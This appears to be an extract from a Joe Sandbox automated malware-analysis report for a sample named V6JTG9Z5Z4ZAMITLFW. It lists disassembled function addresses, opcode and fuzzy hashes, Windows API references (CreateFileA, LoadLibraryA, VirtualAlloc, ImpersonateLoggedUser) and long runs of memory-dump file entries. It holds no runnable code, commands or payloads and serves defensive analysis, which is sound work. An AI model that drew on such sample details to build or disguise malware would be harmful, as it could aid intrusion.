Source File: 00000004.00000002.2787268571.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c00000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 034249c5bc4a71e63a07e1d90b1348ba9cc69294f3a35bf966aed4ee3e960ab4
Instruction ID: 4810aa31568df5d093f538233d76e45eb11399fb10be19bfd800ef75b01d48bf
Opcode Fuzzy Hash: 034249c5bc4a71e63a07e1d90b1348ba9cc69294f3a35bf966aed4ee3e960ab4
Instruction Fuzzy Hash: DF1133B1800249CFDB10CF9AC444BEEFBF8EF48320F24842AD558A3240C778A944CFA5

Function 00AB8FD7 Relevance: 1.5, APIs: 1, Instructions: 37fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 00AB9027

Memory Dump Source

Source File: 00000004.00000002.2784047626.0000000000AB3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00920000, based on PE: true

Associated: 00000004.00000002.2783743696.0000000000920000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783766290.0000000000922000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783788873.0000000000926000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783812751.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783836883.0000000000934000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783859541.0000000000935000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783882104.0000000000936000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783992232.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784018008.0000000000A9C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000ABD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784095555.0000000000ABF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784117342.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784143714.0000000000AC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784165980.0000000000ACA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784192234.0000000000ADA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784214416.0000000000ADB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784242480.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784266099.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784290749.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784313457.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784337353.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784359011.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784383112.0000000000B1E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784405034.0000000000B1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784427935.0000000000B29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784455339.0000000000B2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784480169.0000000000B34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784503213.0000000000B37000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784526041.0000000000B38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784549273.0000000000B3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784573401.0000000000B4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784596289.0000000000B50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784628344.0000000000B5B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784658563.0000000000B5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784688763.0000000000B60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784713605.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784737286.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784764750.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784793424.0000000000B7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784818376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784863111.0000000000BC2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784888827.0000000000BC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784965126.0000000000BDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784987731.0000000000BDC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_920000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4504d3f4e4116908c34108a40a931e6cac54855a358489d2162289133cbad697
Instruction ID: 22e84e72b6920757fcb458b503db956072ca36a15665bc0c5ed6531e5edc0c86
Opcode Fuzzy Hash: 4504d3f4e4116908c34108a40a931e6cac54855a358489d2162289133cbad697
Instruction Fuzzy Hash: 42E02BB214C2963CF71A9A241E61BBF3B6CD787330F30415AF902C50C7D75089456170

Function 00AB8F85 Relevance: 1.5, APIs: 1, Instructions: 36fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 00AB9027

Memory Dump Source

Source File: 00000004.00000002.2784047626.0000000000AB3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00920000, based on PE: true

Associated: 00000004.00000002.2783743696.0000000000920000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783766290.0000000000922000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783788873.0000000000926000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783812751.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783836883.0000000000934000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783859541.0000000000935000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783882104.0000000000936000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783992232.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784018008.0000000000A9C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000ABD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784095555.0000000000ABF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784117342.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784143714.0000000000AC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784165980.0000000000ACA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784192234.0000000000ADA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784214416.0000000000ADB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784242480.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784266099.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784290749.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784313457.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784337353.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784359011.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784383112.0000000000B1E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784405034.0000000000B1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784427935.0000000000B29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784455339.0000000000B2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784480169.0000000000B34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784503213.0000000000B37000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784526041.0000000000B38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784549273.0000000000B3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784573401.0000000000B4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784596289.0000000000B50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784628344.0000000000B5B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784658563.0000000000B5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784688763.0000000000B60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784713605.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784737286.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784764750.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784793424.0000000000B7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784818376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784863111.0000000000BC2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784888827.0000000000BC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784965126.0000000000BDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784987731.0000000000BDC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_920000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8c94ac9c40a18b8aa42649d73393dd3985d6adb789f3e47df02725e85df5bd7b
Instruction ID: 1797e3e9de4f95cbab514366157c5a7998702ff21ace87c36a58e4cab1f181a2
Opcode Fuzzy Hash: 8c94ac9c40a18b8aa42649d73393dd3985d6adb789f3e47df02725e85df5bd7b
Instruction Fuzzy Hash: A7F02B7560C2469DDB11DF388A50ABF3F7DEE82744F04486CD9429B943CA518C50DA69

Function 00AB91A2 Relevance: 1.5, APIs: 1, Instructions: 24fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(24448100,?,?,000072A5,?,00AB90EF,00000003,00000000,00000003,69B42C1A,00000000), ref: 00AB91C0

Memory Dump Source

Source File: 00000004.00000002.2784047626.0000000000AB3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00920000, based on PE: true

Associated: 00000004.00000002.2783743696.0000000000920000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783766290.0000000000922000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783788873.0000000000926000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783812751.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783836883.0000000000934000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783859541.0000000000935000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783882104.0000000000936000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783992232.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784018008.0000000000A9C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000ABD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784095555.0000000000ABF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784117342.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784143714.0000000000AC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784165980.0000000000ACA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784192234.0000000000ADA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784214416.0000000000ADB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784242480.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784266099.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784290749.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784313457.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784337353.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784359011.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784383112.0000000000B1E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784405034.0000000000B1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784427935.0000000000B29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784455339.0000000000B2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784480169.0000000000B34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784503213.0000000000B37000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784526041.0000000000B38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784549273.0000000000B3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784573401.0000000000B4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784596289.0000000000B50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784628344.0000000000B5B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784658563.0000000000B5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784688763.0000000000B60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784713605.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784737286.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784764750.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784793424.0000000000B7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784818376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784863111.0000000000BC2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784888827.0000000000BC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784965126.0000000000BDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784987731.0000000000BDC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_920000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0c0590c04710e620cf859eee68e84beed43e414b2db6566363e6750b337bdcfe
Instruction ID: 3c0978891e5450325b63622afd7eeeb825b16e8bb705c73bcbda1fbfcd468324
Opcode Fuzzy Hash: 0c0590c04710e620cf859eee68e84beed43e414b2db6566363e6750b337bdcfe
Instruction Fuzzy Hash: 16E0D83074820A5EE7589F388C553EF375AFB44720FB4035DA965C67C3C1728D116A18

Function 00AC1D2D Relevance: 1.5, APIs: 1, Instructions: 18libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 00AC384D

Memory Dump Source

Source File: 00000004.00000002.2784117342.0000000000AC0000.00000040.00000001.01000000.00000006.sdmp, Offset: 00920000, based on PE: true

Associated: 00000004.00000002.2783743696.0000000000920000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783766290.0000000000922000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783788873.0000000000926000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783812751.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783836883.0000000000934000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783859541.0000000000935000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783882104.0000000000936000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783992232.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784018008.0000000000A9C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000AB3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000ABD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784095555.0000000000ABF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784143714.0000000000AC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784165980.0000000000ACA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784192234.0000000000ADA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784214416.0000000000ADB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784242480.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784266099.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784290749.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784313457.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784337353.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784359011.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784383112.0000000000B1E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784405034.0000000000B1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784427935.0000000000B29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784455339.0000000000B2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784480169.0000000000B34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784503213.0000000000B37000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784526041.0000000000B38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784549273.0000000000B3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784573401.0000000000B4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784596289.0000000000B50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784628344.0000000000B5B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784658563.0000000000B5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784688763.0000000000B60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784713605.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784737286.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784764750.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784793424.0000000000B7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784818376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784863111.0000000000BC2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784888827.0000000000BC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784965126.0000000000BDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784987731.0000000000BDC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_920000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 0e125f633bac2d36a8f80692af284081d4872fed0cf86624be7be037a99b8e37
Instruction ID: e52763b047672c382cd1cbfedd24ac50b911b80a2943ba7923776358810d258a
Opcode Fuzzy Hash: 0e125f633bac2d36a8f80692af284081d4872fed0cf86624be7be037a99b8e37
Instruction Fuzzy Hash: BFD0E2B161C705DFDB89AE9884D4BBAB3E0EF08A11F12082DE282C2200E63058409B96

Function 00AB9016 Relevance: 1.5, APIs: 1, Instructions: 17fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 00AB9027

Memory Dump Source

Source File: 00000004.00000002.2784047626.0000000000AB3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00920000, based on PE: true

Associated: 00000004.00000002.2783743696.0000000000920000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783766290.0000000000922000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783788873.0000000000926000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783812751.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783836883.0000000000934000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783859541.0000000000935000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783882104.0000000000936000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783992232.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784018008.0000000000A9C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000ABD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784095555.0000000000ABF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784117342.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784143714.0000000000AC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784165980.0000000000ACA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784192234.0000000000ADA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784214416.0000000000ADB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784242480.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784266099.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784290749.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784313457.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784337353.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784359011.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784383112.0000000000B1E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784405034.0000000000B1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784427935.0000000000B29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784455339.0000000000B2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784480169.0000000000B34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784503213.0000000000B37000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784526041.0000000000B38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784549273.0000000000B3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784573401.0000000000B4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784596289.0000000000B50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784628344.0000000000B5B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784658563.0000000000B5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784688763.0000000000B60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784713605.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784737286.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784764750.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784793424.0000000000B7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784818376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784863111.0000000000BC2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784888827.0000000000BC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784965126.0000000000BDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784987731.0000000000BDC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_920000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 880fd6414ad350e8aa3d0ad92327109319eb7e1ce5033e6630e6c9a627db0d61
Instruction ID: d51ddeb07f74714290b7a1c443694e8400e101eed5b97940aff794a4e0a72f85
Opcode Fuzzy Hash: 880fd6414ad350e8aa3d0ad92327109319eb7e1ce5033e6630e6c9a627db0d61
Instruction Fuzzy Hash: ACD0227164C30429DB14DA300AA17EF3B49CB832A0F200568C442CA2C3C1508C078240

Function 0092E7DD Relevance: 1.3, APIs: 1, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0092F3AB

Memory Dump Source

Source File: 00000004.00000002.2783812751.000000000092A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00920000, based on PE: true

Associated: 00000004.00000002.2783743696.0000000000920000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783766290.0000000000922000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783788873.0000000000926000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783836883.0000000000934000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783859541.0000000000935000.00000040.00000001.01000000.00000006.sdmpDownload File
